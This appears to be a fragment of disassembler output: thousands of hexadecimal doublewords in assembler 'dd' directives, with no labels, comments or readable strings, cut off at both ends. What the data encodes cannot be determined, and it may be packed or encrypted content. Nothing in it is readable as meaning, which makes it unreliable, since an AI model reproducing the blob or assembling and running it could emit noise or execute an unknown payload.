65283053h dd 60917D11h, 7BF925Ch, 0A8A1A05Ah, 0CAFBC2C0h, 95C077Bh dd 20751CD1h, 202F21DEh, 4E0BD8A0h, 8300C278h, 0EBBA2E31h dd 0F00ED9F5h, 84CC01C7h, 3C1BF4EDh, 1721D462h, 0E7313200h dd 0F377676Fh, 45780060h, 41059A1Bh, 0DE0064E3h, 37F0FCEAh dd 915C1h, 49594DBBh, 845E6A9Ch, 8AE30F00h, 241BB55Fh dd 552200F9h, 90A0BD73h, 7B0F1556h, 0A0676457h, 0D14B3FA1h dd 9D3B00EEh, 0D8FA6143h, 0D30BC1A0h, 106727h, 7E550CF8h dd 907F45h, 0EDD52808h, 7F1EB4E8h, 91336800h, 0B9CB438Fh dd 381B12F5h, 0B6C70E6Eh, 26002DABh, 11531AABh, 0DEE1CC00h dd 577139C2h, 16D209D7h, 5A00F14Ch, 0C05EDABFh, 8FB7A901h dd 62FE9F83h, 18A2F0h, 5CDEEAACh, 0CD553897h, 0E4B03600h dd 2EAD124Bh, 5E9B1267h, 0C92C032Ch, 8C882191h, 57003E53h dd 0F92544FCh, 5206C09h, 528662BEh, 9C89C079h, 0FD03937Ch dd 99C74B50h, 71C5C806h, 733F8DCh, 0D34587DAh, 0D8D13095h dd 0B900A0ABh, 81856FF3h, 166B031Dh, 8C1AAh, 0E3B45591h dd 5E300CECh, 17CA90F2h, 6FECB5h, 0DAD4CD2Ch, 7D56D23Bh dd 2442B100h, 0A54D7186h, 506C001Dh, 0C5851FFBh, 6B0F14B2h dd 0A0DA2DECh, 452B8B25h, 0D5B08Eh, 884114Ah, 0DCDEBF15h dd 9F39F8E8h, 0B72A806Eh, 22710186h, 6FD80058h, 0BBFD51A6h dd 827744DCh, 0A0E34E00h, 587AEE6Bh, 352D4829h, 39EBD303h dd 0A3874156h, 1000D29Dh, 0DDB32A19h, 18C283F6h, 18D1A66Bh dd 0BE0266C3h, 5F03F8B5h, 1D3C401Ch, 9B4F4050h, 74355406h dd 493E08h, 0A4BC1532h, 0CD13DBBEh, 7D57C00h, 7F901724h dd 0EEEB00B4h, 0CF02FA29h, 0E0244F4h, 0B5CBD2Ah, 4DC48780h dd 950925F0h, 0F3780069h, 3E30A7B3h, 0A100ED44h, 939D61EBh dd 0D15F6Bh, 0C145BDE1h, 0F5240C5Dh, 0DE31D600h, 58AF8C6Eh dd 96C902Eh, 9DF1ADF3h, 8331D025h, 52A1E087h, 0CE477076h dd 0BACDB401h, 7C4E5946h, 2C7FAC30h, 35D275Ch, 0EACAF528h dd 0F86CBFB1h, 0B85CC0A8h, 0FE4E00EAh, 80170E45h, 220B0CAh dd 0DD42FA13h, 37E07615h, 7E00A40Ch, 2F81E810h, 3C5EC28h dd 23F3C4F6h, 40C8ADCAh, 1D906765h, 7AE07F00h, 0AA8074F8h dd 99F11F2Fh, 0A058B0F3h, 0DCE69334h, 3141F93Fh, 9EB0084Ah dd 1CC20h, 0FBC305DDh, 7DEA53Dh, 0EF287E02h, 601DF8AEh dd 710E244h, 1824912Ch, 0E0A8C0B7h, 0C70E4E29h, 0E02B145Dh dd 6C0E8AB0h, 44F2ACh, 0DCE8F388h, 0B70B1B2Ah, 82D7F607h dd 6E147040h, 5E57B680h, 290A0486h, 0C02B2211h, 1418EE34h dd 0BFAB6800h, 2B66C59h, 3F780BE5h, 0CD002767h, 0F11403C8h dd 0A9F3706h, 9C7046h, 7E54F2D2h, 52FA8932h, 8F56411Fh dd 57CAF870h, 69443B12h, 0BE509600h, 9737F26Bh, 218B9401h dd 0E721F3Bh, 125CC4h, 0CC7F6E49h, 54350339h, 0C56C5D00h dd 40DCC6AAh, 0CBF5002Dh, 3CE53E10h, 967ECDA1h, 72636F26h dd 8E0D5A00h, 2DC4BAEh, 0CFC7FECCh, 0C0A0CEE3h, 2236C349h dd 0AF0710E6h, 5B2B2A4Eh, 0D687DFC0h, 1386334Fh, 1C06F11h dd 0AB079638h, 0F764B1D9h, 8DBED181h, 0C0E42ED4h, 281FE6D9h dd 0D0031725h, 1339038h, 0B070FF20h, 0C76F8327h, 76D6C629h dd 0A34958E7h, 0FDB80034h, 0AEA2CFADh, 0B737001Fh, 0C4D00D67h dd 0CA7375A7h, 42B3DF06h, 7838E2BDh, 0CFDC14B2h, 0E70668E1h dd 50A7363Ch, 0AE00B579h, 0ACFBF1C8h, 28C3B78Bh, 8C103AE7h dd 174D0084h, 227FBBD7h, 75009F6Fh, 2CFB85CCh, 7640FF5Dh dd 42CD00F0h, 7C49E1D4h, 3200C375h, 8DBBDBF1h, 0E4B8DCD0h dd 1E4400D3h, 2C2553A5h, 0EE03837Ah, 0FFCBCC4Fh, 0E8DDE8E1h dd 406F0028h, 0B8B170A4h, 491F78ECh, 771D3D58h, 5FB2C600h dd 718FED3h, 0BCC1E430h, 0EA3710BAh, 76008FAAh, 8E012E1Dh dd 0DEFF13h, 73C1526Ah, 575CD79Dh, 0EE87B700h, 8B0E4866h dd 742B2E3Bh, 2AD900F4h, 153414CFh, 0FD08C207h, 0A16FFE6h dd 37070146h, 0A1DD3570h, 7865E073h, 40325400h, 2F3DE045h dd 7F94A8D4h, 13E0A83Fh dd 0ED20044h, 1DF3B3ACh, 9F0142B9h, 0AD738A14h, 7BFCA0EFh dd 0DE40050h, 2C946599h, 0A2744A42h, 5E02F0F0h, 0A65F5AF7h dd 44C8A037h, 8ACF7Dh, 2994470Ch, 0BA7F20D8h, 0DC099678h dd 23A6BBE4h, 0C18C2E14h, 1180A4B6h, 6E663140h, 6300ED05h dd 36EC104Bh, 0C592718h, 0D0C85FF0h, 9207A5C1h, 2BBB2AFh dd 0FF10DF21h, 7EEBE70h, 0E3F93108h, 947DA39Eh, 61C8D7B0h dd 0BADA39C2h, 27F3832Eh, 0C62DE869h, 0B85CECAAh, 0FFC50064h dd 0FADF591h, 0DF00184Dh, 27190316h, 2437CE24h, 8090BAC8h dd 0DC9B48A8h, 7B00DAF3h, 538D5F59h, 0E2230F32h, 5FC038Ah dd 31E1BB33h, 4122C000h, 0C6F6DE4Bh, 206B12D8h, 0BC910C06h dd 0C1007151h, 6FE5F344h, 0CA9C2Ah, 2FA38DCEh, 0A235AF18h dd 15B32200h, 99F041E8h, 9B0601E7h, 981CD30Eh, 0B7A053AAh dd 0DB2B69C0h, 0BE0611Fh, 63EE3B40h, 0C1C8D42Ch, 0CFB87989h dd 36884865h, 30ED9401h, 0F3B04B91h, 1F1C3E0h, 18C74CF6h dd 50420531h, 0EDA4697Ch, 0F2011B01h, 5EC25FD2h, 2C807D8h dd 65AB11AFh, 4484E61h, 0E7031252h, 203214D3h, 77800E86h dd 7C80ACFEh, 0AF283805h, 0AE22CD18h, 39335C1h, 41CCD2A5h dd 77D047F6h, 0A86F9778h, 3E344021h, 0AB73ACh, 16D86039h dd 0BBE12964h, 0CFA7040Dh, 36F8A9B9h, 0A2C400CAh, 6853F731h dd 8B00A61Dh, 4427AEFAh, 7FB6096Dh, 5CA748D3h, 51AB7E80h dd 0ED0DF052h, 0C058E123h, 907C7D30h, 11F47974h, 44AC33h dd 0CC6DF304h, 474C405h, 7F260C02h, 10AC90E2h, 0D71CAA90h dd 27C88EFh, 86AC870Ah, 5D8480C5h, 0B8E7C4h, 91320619h dd 0D01341EAh, 943E943Ch, 3FF4E94Ah, 90DF00C9h, 8A449BB6h dd 0A06340CFh, 21EBF21Fh, 0DDE9D7C0h, 1916D0Ah, 1A268C94h dd 83CC2D3Eh, 19635B29h, 99C46067h, 0CE9BBA2Fh, 3FFEC31Fh dd 6A19E118h, 2B9C1F1Ch, 0C9185E4Bh, 0CC10229Eh, 8F2CD8AAh dd 3B3ED4D2h, 39AD802Dh, 0CE628EFh, 30D2AEh, 59127C67h dd 4C31A9A0h, 66A659D6h, 26809855h, 0EBC07Dh, 52E6A94Bh dd 0BFAF3F24h, 9386270Eh, 6F2623E1h, 0D05000BAh, 8C135D14h dd 0E90147C1h, 5E40503Dh, 2032C3E4h, 8EA411Eh, 0B380A5B5h dd 0F198196Fh, 4B10C0C8h, 0B6584159h, 9640101h, 0D18C76EBh dd 5B037E8Ch, 84ABA0h, 20176369h, 0D7229F89h, 0DC01F100h dd 4419147h, 0B899763Ch, 54BCE262h, 114B068h, 0BAEC2661h dd 0F017FC65h, 0AD61C9E4h, 7A4CAB91h, 0C1F88450h, 959588Bh dd 75A48050h, 1E34008Ah, 0E4F015BBh, 39C73CC2h, 5805211h dd 0C0497FE9h, 6863A141h, 7E00E597h, 0BE59CB25h, 1D695376h dd 88426ABh, 0C380A221h, 0E0B17C03h, 70CB6EF6h, 0BB5B1A22h dd 0D10CD042h, 2E014728h, 0AB015F5Ch, 7D203C35h, 7173607Eh dd 74189A03h, 1B846E00h, 97CB022Eh, 19F6003Bh, 3E0EB9B0h dd 0A081D02Ah, 14089020h, 9043D323h, 6537CE22h, 8A8F51F7h dd 6C8E0C2Eh, 0F9EF2040h, 14C079Bh, 0FDF38DA4h, 22D93D85h dd 41760160h, 48E2D6CEh, 0F18FC8BFh, 770CAB10h, 0BC2AE459h dd 0E7F8F8F8h, 223C39D4h, 0C06EC044h, 9F641B99h, 1D9B3900h dd 0E18C31E7h, 9997E463h, 91E802A0h, 80552911h, 82BDE6CEh dd 37180150h, 2F3C593Eh, 64604167h, 0C61803Bh, 9BF6F01Dh dd 0C30B811h, 467F6674h, 1000EE89h, 0A1DCB260h, 1E0ED26h dd 1B2EF0A5h, 20D4FE07h, 7F319EF4h, 0FA97316Eh, 8617E0FBh dd 0D8D5007Eh, 6DDDC89Fh, 0A9121827h, 0CC2097BDh, 3D67F33h dd 1F0F7CD4h, 0FCD85C81h, 0B0A02C32h, 0E451AB51h, 22CFD544h dd 0E1120094h, 3218B93Bh, 0A0A45EC5h, 0BFFC3582h, 3F146F00h dd 0A9D3835Bh, 60914Eh, 9FED76F9h, 0B95CA618h, 0E60302C6h dd 0C00B08F0h, 214E9F0h, 8692AEF2h, 2A42EA9Bh, 0CBAF902Eh dd 7837B700h, 0F10A42BEh, 0A0E90F92h, 634F5740h, 0F08B58DCh dd 8C8039C9h, 0B04811DAh, 0C668470Dh, 8333140h, 0EC55007Dh dd 4C542DE6h, 449039E4h, 9722240Eh, 29596C8Ch, 1FB938ACh dd 6286C980h, 3FFCAD1Dh, 39B16604h, 0F08044F9h, 18B4B2DEh dd 6971CB65h, 48A02B3Dh, 380A6C2Fh, 6CACBB8Ah, 2ED5700h dd 4078BCh, 47BAAE87h, 0C952B211h, 82396460h, 96143Bh dd 0E416A5D7h, 0BFA760EAh, 4C946604h, 0C0C94BAAh, 12006C26h dd 4736B635h, 6500F8EFh, 0AFDB1DEEh, 2EBA92D4h, 3C4A124h dd 722F111Fh, 20469892h, 2612F8EAh, 4B00C40Dh, 88E38767h dd 7D7E3AC3h, 3C50D302h, 0CC668CDAh, 49027A00h, 0BF43B573h dd 3BE400D3h, 0BAF50BE9h, 0EA0BA872h, 47A183Eh, 1A476140h dd 0B55BD078h, 8B004B54h, 694D99A5h, 3D3863F9h, 0A08AA693h dd 3D4C83B9h, 815DEC1Eh, 0E904060Ah, 0E7B9D09Ch, 110F0200h dd 0CBDA2EF3h, 0DB190224h, 215FBAC7h, 5DEAFD63h, 0B0B100C0h dd 0AF8C4662h, 0D0F46008h, 52920998h, 94981130h, 0CE00F8D7h dd 0BFB54DC8h, 1E46486Bh, 5F7F1DBCh, 0FC2000DEh, 1C5EEAAEh dd 4734C603h, 729527AFh, 44B5049Ch, 0C08E2D18h, 0D03181C0h dd 0C7363200h, 66BD1289h, 0BE6D2ECCh, 0AF110093h, 10C41F0h dd 97E74C16h, 9CDE3C21h, 135BF520h, 20B8E467h, 9B3812CCh dd 35A9D004h, 88CD3E07h, 0DF00A447h, 5D79AE7Ch, 3A2500F7h dd 6BE4D410h, 3B430A00h, 2803A5BCh, 0AB070E37h, 74E09FACh dd 0CAB57E1Ah, 2CB990B8h, 8A764801h, 0FFDC8513h, 0F36F1C92h dd 722C124h, 0FC045986h, 793AD4ADh, 206A044Fh, 9C882318h dd 0FDE0007Bh, 11B9FB8Eh, 8607EECCh, 0BF75E16Ch, 773DCEF0h dd 0B1A126BDh, 7B481188h, 1997D21Ch, 0A8A6D940h, 0C05FCFBAh dd 214AC0E9h, 8900B464h, 8711CE2h, 3067F933h, 0BA41493Dh dd 600079Ah, 0BE49853h, 89D6253Eh, 0CAD98082h, 9A87521Dh dd 9C18008Fh, 0C4CFEA21h, 0FA4AC7A5h, 689E9000h, 0EBA7D981h dd 0C0F01080h, 0CFDB2387h, 5E52B02h, 64E8F9D7h, 948E002Ch dd 36151B90h, 0ADF84CD6h, 1295E608h, 45FE0054h, 2DB30D69h dd 79A68F18h, 0E19D39h, 81823466h, 3BC2D8A3h, 0AF00257Eh dd 11E6C970h, 5CE45496h, 0E1DE0CBBh, 2480F61Dh, 278AB9CFh dd 31380082h, 3E18D6A3h, 0F9D0C926h, 0AF231884h, 4F4441h dd 6558A335h, 6026A4E5h, 0B4A1FF29h, 8358F80h, 1A2949h dd 0E77EFA51h, 0E0C6D918h, 1DA9AC00h, 5E26A7A2h, 0E310C6AAh dd 0A631914Ch, 4E32D96Ch, 3E87BEE9h, 307C3490h, 0C69814B6h dd 7353DB00h, 73F16DFh, 0E4D7130Ah, 406020BEh, 0AC946068h dd 10233D8Bh, 0EDF09Ch, 0FC077742h, 6DCDF173h, 8C2252h dd 3AF8B708h, 98ABA3h, 172C07C1h, 0C6912719h, 0E4420E04h dd 18B49796h, 1F3A00ECh, 0D089148Bh, 0A0070327h, 1ADE189Eh dd 21E400D9h, 1EE30DE5h, 6BC9A4Ah, 9942AB75h, 0E6018D03h dd 9AE8D0BFh, 745C40A4h, 0B34B8B4h, 0C8ED626Eh, 8EF8F490h dd 7859760Eh, 0E4BD80B2h, 32DD094Eh, 7268E256h, 0E6C154E0h dd 0DF190B00h, 0E4C4448Bh, 0DAFB011Ch, 0F53D5339h, 12862C1h dd 0E148E00Ah, 7883E9B7h, 18A46D25h, 246634CAh, 0D5039A7Ah dd 0E4ECF52Eh, 6365F90Dh, 0DA00B422h, 41F1A970h, 1898EA9Fh dd 0F7011DE8h, 0B8EEDDAFh, 5ED0FA0Dh, 2907828h, 77C11141h dd 6460B936h, 0A8A30294h, 0C724F819h, 48628299h, 4D43EA01h dd 38B6317Dh, 11188018h, 1B49CDDh, 5BEDE942h, 60D41315h dd 694CD59Fh, 8575C058h dd 3D7180h, 4431B9D8h, 83B2D4E6h, 0AFE34F00h, 16261FEDh dd 38C101FCh, 2B3E1274h, 0EA6997D2h, 53D9E030h, 0B93400ADh dd 0ED4931F4h, 604A657Fh, 2DAF6440h, 5497AB1Fh, 69CF3h dd 71590724h, 0EC748CD7h, 0DF5E6100h, 0D1257F99h, 92C11EA2h dd 0A1D54214h, 5CA06302h, 85A9A7D2h, 0CE8B3400h, 0E6C84BAEh dd 45E100BCh, 46FD1841h, 0A63065EBh, 7CFAA14Ah, 0B4081C78h dd 0B3A040A9h, 32AA246Ch, 0E582500h, 1B95D280h, 69C7A13h dd 81468F77h, 731D71BDh, 1E03CC45h, 0D83D316Ah, 24CDEFBh dd 0F13CD10h, 7051B7E2h, 0E0523E62h, 4D972DE4h, 0A8031435h dd 7094E6C4h, 6E452C88h, 3672E700h, 79094427h, 0F1AB3EFEh dd 7F021C5Ch, 0E4BEC8E6h, 0D09DE000h, 7DD7B2Ah, 3A66DB9Ah dd 8927185h, 0DCEE497h, 0E719820Eh, 600C80E5h, 1370775h dd 8A74502h, 22B6E212h, 40C92C5Ch, 60C47342h, 8E8198h dd 0CFBE0372h, 2350AD62h, 0D2FE6B7Dh, 0F01EF17Fh, 106653F8h dd 7FCEB004h, 1C4890C8h, 0E437F686h, 3B5C09B4h, 836A9804h dd 4088E788h, 1503C4EDh, 0E8AB515Ah, 0D03948DBh, 8F4ECEC0h dd 0AE003719h, 2905930Ch, 192866Ch, 0F01C87BFh, 43A79C8Ch dd 12806718h, 9F001F6Bh, 5785C5FAh, 3F61805h, 5FE2213Eh dd 0AFA7B296h, 0A4F76504h, 1876BA08h, 93007290h, 11976A07h dd 7C696138h, 0F13406AAh, 0A1707FEAh, 0F0DE980Ch, 0ADD222h dd 75E41C82h, 4A5A97F6h, 81B6230Bh, 473C0061h, 0B1A67E1Eh dd 9E803F54h, 4CF25F21h, 0DA0214C5h, 0B984CC61h, 124E0EDh dd 0C19901D8h, 0ABE762A3h, 261DC495h, 4EB0A498h, 0CDC95412h dd 0B4372440h, 60E944h, 15B24686h, 0E4AA876Dh, 5E000499h dd 92138C2Ch, 2F980336h, 3E04685h, 87FE0BC0h, 34DA7205h dd 8420A652h, 0F5AA15h, 77DB7DC4h, 6FDA3DE7h, 0FF2080B0h dd 820211C8h, 0EA0D006Eh, 0B4DF2AE2h, 41290008h, 695B3945h dd 8A3E3493h, 0F1BF0271h, 5184A2EDh, 54B20574h, 0C99CA655h dd 1146823h, 0ECFE002Bh, 9C9BCB5Bh, 0F800EF56h, 0C118C5D9h dd 42A91CFh, 68485444h, 0BA4CB461h, 63EA4702h, 5A84D9FFh dd 0A58C00A4h, 6BF94236h, 2209CD66h, 0C88231F2h, 0D3D048h dd 2E30A8B5h, 86B8A55Ch, 0AC114408h, 406E8735h, 0A12900D4h dd 0CCA01C99h, 61B0B072h, 0E8787F00h, 9669A425h, 713CBA85h dd 5CAC583Fh, 9C012880h, 816E718h, 0A0888852h, 70F001Eh dd 0EB3F965Dh, 742D346Bh, 15A08792h, 0E213BF10h, 80D4B1B8h dd 9F822F4Ah, 0F100B5D0h, 0CF3F0738h, 2D5F2CEEh, 3825273Ch dd 0CFE88C65h, 0E62BCD06h, 16A0B1F3h, 584F12Fh, 0A4823D40h dd 0A3008F34h, 3937182Eh, 0B0B63511h, 5C617943h, 0DD806498h dd 392F6541h, 3DCF1609h, 0F60099Fh, 3A6166F7h, 85C0C071h dd 0E19FC278h, 12B44849h, 0A0D8DC57h, 411384BBh, 3CC8EF68h dd 1862422Dh, 4B594FFCh, 0D9D0DDAh, 0C0781E18h, 5C9C972Fh dd 20C44140h, 0ACFB166Dh, 77F0025Ch, 0F0438EBBh, 293DA687h dd 161D3B7Eh, 39C9F985h, 527A8084h, 7DAAD415h, 36982683h dd 0D6AF80D0h, 0E5E98B7Bh, 0DF5B4800h, 15B9C5ACh, 500B3AF7h dd 0BAB0DB01h, 204935A9h, 3E007D9Ch, 0E8E7DD08h, 185206Eh dd 0CAE1954Eh, 0D49A4463h, 714B3D35h, 0EBF92420h, 8B381E67h dd 0A7B0C9ECh, 5FAC68C8h, 0EE0080E4h, 55092365h, 0B1B142BFh dd 7FA3809Ch, 25AA8826h, 0C5D8900h, 0AB665EA8h, 7E93039Fh dd 0BE4453E5h, 508F188h, 0C5EAD500h, 40B46007h, 8BA4837h dd 1F16F605h, 12DC123Fh, 55103AAh, 64F9EB8Ch, 18B04860h dd 0B6BD900h, 5B3738D0h, 0EF460094h, 0CF481F5Eh, 42483108h dd 5D261D50h, 4053AA02h, 40F868h, 0F92E8732h, 4E7C9A49h dd 0CB5912Ch, 0E4B37D09h, 89A73D90h, 918AD080h, 9F5D358Dh dd 0BC21493Fh, 4054840Fh, 0F888A6E9h, 0B4BA007Bh, 4A477E39h dd 1B01B8A1h, 0F7AF6F25h, 2822FA64h, 0B090B025h, 3001819Ah dd 796D16F5h, 53D41B85h, 0B75B1F8Ch, 6780F9BEh, 4F2FC7CEh dd 5EEEF80Ah, 0CCDF38A0h, 348FECA0h, 92B0F05h, 0CC88289h dd 534E00BEh, 85DC75BCh, 4165145h, 7C027147h, 461707E9h dd 157000A4h, 904CF357h, 0CF4C9DBEh, 603A8FF0h, 9EBCC820h dd 4844B00Ch, 8F2C2C36h, 417A80A4h, 0A7250D0Fh, 8180089Eh dd 0E19985BCh, 723400F3h, 70455B78h, 0E800BD44h, 4C23B559h dd 39FBACCh, 0C2F4ACE7h, 0CE8AAFA3h, 48071452h, 0B4FAF5BFh dd 61A878F0h, 2B11022Fh, 0CF7377E8h, 6A008452h, 0FEFCBB20h dd 96223DA4h, 17148014h, 0AA6A2D19h, 8C6DF7h, 4CBE7912h dd 209E15Bh, 0A32F18A8h, 1C40F5B4h, 0C825CD26h, 0A92890B1h dd 8EA7001Ah, 2B939004h, 905259Ch, 0A0E2BE26h, 3ED79CCCh dd 8400FCA9h, 0B505DEFFh, 1F0095CDh, 1307E108h, 0B9ABCB42h dd 90620010h, 3155BA53h, 248E0607h, 6A102688h, 1CFE8B08h dd 68B3DF04h, 187500B0h, 3BE9F6AEh, 3EE4E8DAh, 952EA760h dd 0D2D7203Dh, 5F9C30F1h, 0FF21DB0h, 0AB7170F5h, 0E0F07B02h dd 80CFBA30h, 58590E18h, 0AF480EF4h, 63A0C287h, 35948B3Ch dd 0E86DC70Bh, 1B94A7B0h, 0BD222650h, 0BECBCA5h, 5048CFA7h dd 91D191Dh, 89FDD85Ch, 60CBF7B3h, 0CF3FAC9Ch, 972022F1h dd 0B2DDE5F5h, 0D5018C1Fh, 1D5D329Eh, 0CFB8A243h, 0E85100CBh dd 0C20B94D0h, 0DA043E01h, 9C476372h, 2000B0A2h, 265B2A70h dd 0A900B971h, 68291227h, 38F730h, 4E23C40h, 0C8F60618h dd 183689Ch, 983AAE6Ah, 365B81Fh, 0BA2B0851h, 2D98D3E1h dd 0AF12AA8Dh, 4CE4E7A9h, 0B3061241h, 3C0808E1h, 10CCC781h dd 3828A38Ah, 0B2185D05h, 0BA100097h, 178A62FBh, 49858430h dd 7F8E0C5h, 0DD070149h, 7897F09Dh, 0EB741C9Eh, 0C6CBD377h dd 4428E4E2h, 0A679FE40h, 485D4200h, 4B11CF60h, 0D0830B97h dd 5C108144h, 35B0C576h, 0B9D85000h, 9D05E219h, 89405F0h dd 80C2E7D9h, 81FBEAFEh, 0E9A4E000h, 34261018h, 1731EAAFh dd 0CBAA3E5Bh, 0C21000B8h, 0C562DBFDh, 8E8F0769h, 21764331h dd 2B91FA20h, 0AB53A041h, 4181E0E5h, 7F3105E4h, 0A211804Bh dd 7BBF2CECh, 56A500A9h, 7AF0FC5Eh, 0C0B072C8h, 0B63E344h dd 69BA2326h, 0A9A8DC10h, 0B2D41D12h, 98093C13h, 14122Eh dd 49F20BC0h, 989F6ADh, 37216596h, 4824C820h, 7203F797h dd 89AAF9B5h, 9DF8C02Ah, 0B1651E54h, 0ECC941DDh, 68B3111Eh dd 0C51773D8h, 70641776h, 0FF5E54C0h, 42BB0061h, 0E5199410h dd 78B2FDC3h, 0A4E44013h, 4C400437h, 663F28h, 4EEB4386h dd 2CCC2B1Fh, 0FB005F98h, 13E8E94h, 5067AC35h, 88DE808Bh dd 0E605CF36h, 5E7AB839h, 7B88E000h, 5DDB4Ah, 95F1FD2h dd 60AA27CEh, 5B002BB8h, 8D73F47h, 230F042h, 0A0E9766Eh dd 6C60AD17h, 0BE380148h, 0FB7385E8h, 9880E2FDh, 4C3DA256h dd 35809428h, 0C18A70AAh, 1016652Dh, 728AE00h, 0A21E79A6h dd 0E761029Ch, 17CD84E1h, 29B7E570h, 802428E8h, 0A1333BD0h dd 0B416D1Ch, 0A884F014h, 64F641AEh, 0A1105963h, 250D3218h dd 514EAB0Fh, 140050F2h, 0E497C220h, 0EAFD8180h, 0F100776Dh dd 1FC7D53Ah, 0E910775h, 476CB082h, 1DE03EEAh, 11F2C071h dd 594F40E7h, 80717E0h, 44A72821h, 0CDDA2FC0h, 80249993h dd 0DB070F9Eh, 38F06EF5h, 807D143Fh, 2C9F9495h, 4CC7F3h dd 0B2B41548h, 90C68227h dd 3F189D0Fh, 834BA7CFh, 53EA7C40h, 48B148C2h, 0F95B2100h dd 8DD23E15h, 0A9AB8E04h, 28A9E4DFh, 7AA5C5C0h, 0C800D874h dd 168B4CD4h, 1398DBAh, 2A9465D5h, 8C75E4AAh, 0D82E0839h dd 0D7263A0Bh, 54039D00h, 233E2A1Bh, 0D341F0B4h, 0A020CA0Dh dd 5F4678A1h, 2D742036h, 4D1367C1h, 82AB255Bh, 0ECE4A617h dd 0F1E1C600h, 7D93C65h, 0BFEC061Ah, 2138A66Ah, 30AA7402h dd 468DE865h, 0EA1E0ECh, 0C7C1A687h, 0F608EB80h, 780984D9h dd 0E4EA329Ch, 643B0070h, 44439179h, 78384540h, 4FC00092h dd 0C2B9DACh, 0DC4B12BDh, 0F9E50097h, 0AF68C1DBh, 0F009ACF4h dd 7ACF4608h, 538C0020h, 980D32CEh, 0FFE827CCh, 0EB706C00h dd 0E8B92ED3h, 0B80E3A35h, 0E2CCA302h, 1C56FE19h, 422794C0h dd 4C530034h, 0DE173111h, 0A50C1DAAh, 69BC233Dh, 80C8967Fh dd 6F0B7BC0h, 46005DC6h, 7E8D8986h, 24BA44AEh, 208A0D2h dd 0B0101488h, 5ACDE460h, 1E0C3797h, 0ABFC8AADh, 2BB340BCh dd 0D00BE1Eh, 31611116h, 0A13D65E1h, 0A8F3BA10h, 5047AFC9h dd 0DDD24Ah, 2719295Fh, 0F6431721h, 86B2E650h, 0B4E41116h dd 0C6FDDC30h, 93F80112h, 0A3AEA74Eh, 202E41h, 38B5E68Eh dd 8804933h, 4DE41019h, 0E70418A0h, 81F66C7Dh, 468E4h dd 52810C7h, 0C351ADD6h, 1576F100h, 640282F6h, 4001036Fh dd 0F5AEE6E1h, 0E2C69698h, 0A1472D18h, 16DCA650h, 430E17Bh dd 0B0DB1F4Ch, 840968D8h, 99E0E7AAh, 5EC83810h, 7192010Eh dd 1F205236h, 750030E7h, 1CBDE426h, 3EE94040h, 80709497h dd 0A661A894h, 690070DAh, 0C23847A3h, 61145676h, 962170C1h dd 3F82F0BFh, 722C7888h, 364D004Eh, 1DD13415h, 0CE00E056h dd 7305A516h, 2A28AD3Ah, 5CC8B5E5h, 3100925Ah, 0B06E1CD5h dd 7F0668EFh, 1DD894B6h, 7CF408h, 99FD5BDDh, 2F51A96Eh dd 61BDD11Dh, 0B4D02B46h, 0B0320F31h, 0B000AF3h, 4897454Eh dd 12A79F1Ch, 503F7DC0h, 44F6B79Eh, 0ED0622B2h, 14D8A596h dd 7BD1C69h, 1CDE802Fh, 11FAFE0Ah, 243DF400h, 1E2E909h dd 0B7A6307Eh, 0C1A53040h, 71FA5707h, 2BF0F052h, 755548C7h dd 0B697030Ch, 83C21A90h, 0F4143100h, 3752ECA0h, 0F8F241h dd 4397E906h, 77E016A6h, 0B099CC67h, 0BBD1A65Fh, 130E0111h dd 0DCEA5CB8h, 0FBD8CF0Dh, 3D039C07h, 3D183D4h, 0FE28017Eh dd 9DA48434h, 6D75CCE1h, 0E96A5A00h, 0BBAD8E73h, 0C5041CA6h dd 0B5340D0Dh, 4BC06E68h, 88F7F3h, 0E214B7E9h, 19AE6543h dd 2122A8C1h, 48C828E6h, 113E0664h, 71012BB7h, 0EE413107h dd 7AE30B2Fh, 8DE9007Ch, 0F028420Dh, 0A00FAD47h, 0D873DF88h dd 0E1D570h, 6EB9E043h, 8A5F3FFCh, 2A363A01h, 7E816630h dd 75E5CEC8h, 517560CDh, 0EDC8FA56h, 0D8304E01h, 853E77D0h dd 22EA00F2h, 8D01E2DFh, 64083B31h, 19E552E5h, 348021BFh dd 0F24881DAh, 4A304020h, 0D7D6D8A6h, 0E06EEB66h, 967C8054h dd 18327718h, 0A84F3439h, 0B3F290h, 0C608E8F0h, 59319FB8h dd 6D1B7407h, 0F410E4B9h, 73BC727Dh, 0FD390E36h, 0EAE089B0h dd 0BA3C1D95h, 0E2770E00h, 862A143Eh, 7E793010h, 7C61CFD9h dd 9B38921Ch, 1FE70140h, 1E5C9A2h, 54CBA5A6h, 801E37E0h dd 0CFD68F89h, 3D1A46B6h, 0C45651F9h, 0BF201300h, 9878A5Ah dd 0C08F9801h, 77969DA6h, 0A01FEAC4h, 807FB8DCh, 0B36C97BBh dd 33AF9859h, 8D11B434h, 0A43A37E8h, 443F610Eh, 38FCC114h dd 0B9807D79h, 0AB9C97CDh, 2A00F303h, 0C999CB27h, 54DFBC9Ah dd 782CA017h, 30B812DEh, 6F1C0010h, 92E87238h, 6B906D0Fh dd 0F94C40E7h, 0F082C7Bh, 762405D0h, 0C044FA54h, 0DBC18846h dd 0F8AF8E18h, 1FD2F006h, 40B1F62Bh, 3278B736h, 5C24D773h dd 9C0354BFh, 6E92C97h, 0FFBB8B70h, 7D0149B1h, 1017A314h dd 0A1F0796Ah, 0FA96E0B5h, 903D5052h, 0A84754F8h, 0C91B60D9h dd 0E8AD1209h, 0A7003590h, 1EFE9CE4h, 33F1D08h, 2F87EF6Dh dd 10005815h, 1BEABB60h, 2544341h, 9FAFAB67h, 9CA0777Eh dd 0CFF1621Dh, 85E0400h, 53C7CEA7h, 0E1BF1507h, 0F3001437h dd 0BD84B352h, 55032303h, 685A27ACh, 0E9108881h, 1E400ECh dd 0BC7C65A7h, 0B354EFB4h, 11301AECh, 0B72BC688h, 220CA0F5h dd 85D9009Ch, 36DBA23Bh, 8CE8A5A1h, 7822F5h, 0C1FC8FD4h dd 3DC428A6h, 0F700A547h, 4B14D151h, 3205E38Ch, 0AEFFB903h dd 7F58A851h, 5C1C7400h, 0A8ADDFCBh, 1A7C51h, 59BE585Ah dd 9F345B3Ch, 306E1003h, 9B770135h, 30797B81h, 0DC49717Eh dd 8671BB30h, 0ADD8FB17h, 73D2BA00h, 9394B9EEh, 0F51658h dd 7ABB4318h, 613B462Ch, 77EC486Eh, 2123F901h, 6DC86B9Ch dd 77392880h, 0C25E3D0Bh, 0BE0006F8h, 0EAE7869Fh, 0C04803B9h dd 0BA186359h, 11C5A996h, 0C823A079h, 9C5A007Dh, 7EE38940h dd 3103A36Ah, 67BE13D3h, 50AA8870h, 204649D1h, 0DE08A600h dd 